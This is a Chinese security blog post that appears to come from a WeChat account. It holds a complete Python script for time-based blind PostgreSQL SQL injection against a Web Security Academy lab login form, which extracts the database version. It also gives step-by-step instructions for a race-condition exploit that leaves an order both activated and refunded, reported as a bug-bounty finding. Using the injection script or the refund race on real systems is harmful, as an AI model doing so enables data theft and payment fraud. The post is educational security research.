小声BB
由于小号限制了一天只能发一篇推文,所以今天的靶场连续剧停播一天,插播一则严重漏洞。
昨天的靶场推文脚本存在问题,经修复后重新补发一下源码:
import requests,time,re
#靶场域名
HOST="https://0a36000c0480d6798385960e00490037.web-security-academy.net/"
def login(sec,host,data):
start=time.time()
headers={'Content-Length':'94',
'Content-Type':'application/x-www-form-urlencoded'}
sec.post(host+"login",data=data,headers=headers)
if time.time()-start>5:
return True
else:
return False
def check_version(idx,number):
'''获取版本号'''
username="' ; SELECT CASE WHEN ASCII(SUBSTRING(VERSION() FROM %s FOR 1)) = %s THEN pg_sleep(5) ELSE pg_sleep(0) END --"%(idx,number)
sec=requests.session()
html=sec.get(HOST+"login").text
csrf_token=re.findall('"csrf" value="(.*?)">',html)[0]
data=f'csrf={csrf_token}&username={username}&password=asdasd'
if login(sec,HOST,data):
print(f"【{username}】 成功命中...")
return True
else:
print(f"【{username}】没命中...")
return False
def get_str_len(number,payload):
'''获取要注入的内容长度'''
username=payload%number
sec=requests.session()
html=sec.get(HOST+"login").text
csrf_token=re.findall('"csrf" value="(.*?)">',html)[0]
data=f'csrf={csrf_token}&username={username}&password=asdasd'
if login(sec,HOST,data):
print(f"【{username}】 成功命中...")
return True
else:
print(f"【{username}】 没命中...")
return False
def length_search(high,payload):
'''定位字符串长度'''
while high:
print("当前长度:",high)
if get_str_len(high,payload):
return high
high=high-1
sqli_result=''
#先检测长度是否>某个数字,缩小长度范围
len_sqli="' ; SELECT CASE WHEN LENGTH(VERSION()) > %s THEN pg_sleep(5) ELSE pg_sleep(0) END --"
get_str_len(134,len_sqli)
#根据上面确定的设置一个10浮动以内的数字开启自动遍历
len_sqli="' ; SELECT CASE WHEN LENGTH(VERSION()) = %s THEN pg_sleep(5) ELSE pg_sleep(0) END --"
str_len = length_search(135,len_sqli)
print("长度检测命中结果:",str_len)
for idx in range(1,str_len+1):
for j in range(1,128):
print("当前:",j)
if check_version(idx,j):
sqli_result+=chr(j)
break
print("注出数据库版本号:",sqli_result)
切回主线
今天分享的故事,很奇特,它的原理是数据同步不及时造成的0元支付漏洞(以上纯属个人猜测,实际情况请提刀去问开发)。这也是我第一次接触支付逻辑漏洞,所以想和大家分享下。
漏洞详情
1.该漏洞需要电脑端和手机端同时联动,打开电脑端小程序,随便选中一个订单,购买它。
2.买完之后,点击订单,进入激活页面,此时,如果订单没有激活,是可以直接申请退款的。
3.这时需要用手机端打开目标小程序,然后进入订单页面准备退款。
电脑小程序这边也进入激活订单页面待命。
4.关键操作来了,这时打开手机的秒表小工具,开启计时,当秒到10的整点的时候,手机端点击退款,开启十秒倒计时,电脑端准备好点击激活订单,倒计时完毕电脑端马上点击激活。
5. 十 、九、 八、七、、、一!电脑端马上点击激活按钮!
激活成功!
6.与此同时订单退款成功!
7.最终订单的状态是既激活也退款,这就是另类0元支付。
小事故
这个漏洞是经过无数次退款才复现出来的,后来我想着能不能实现python程序自动化精准踩点,不过我翻车了,血亏300元的订单钱,厂商也没补贴给我....
好在漏洞获得6000元赏金~安抚一下我受伤的小心灵~
经验三点总结
1.舍得花钱去测试
2.请看1
3.还是看1
结尾
公众号更新不易,每一篇都是呕心沥血的“佳作”(我承认这是我说过脸皮最厚的骚话....)
如果不喜欢,麻烦点个在看,让我知道~
特别说明:文章提到的漏洞已完成修复,文章中提及的所有知识点仅供学习,切勿用作非法用途。
原文始发于微信公众号(森柒柒):[严重漏洞分享]10秒实现0元支付的奥秘
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论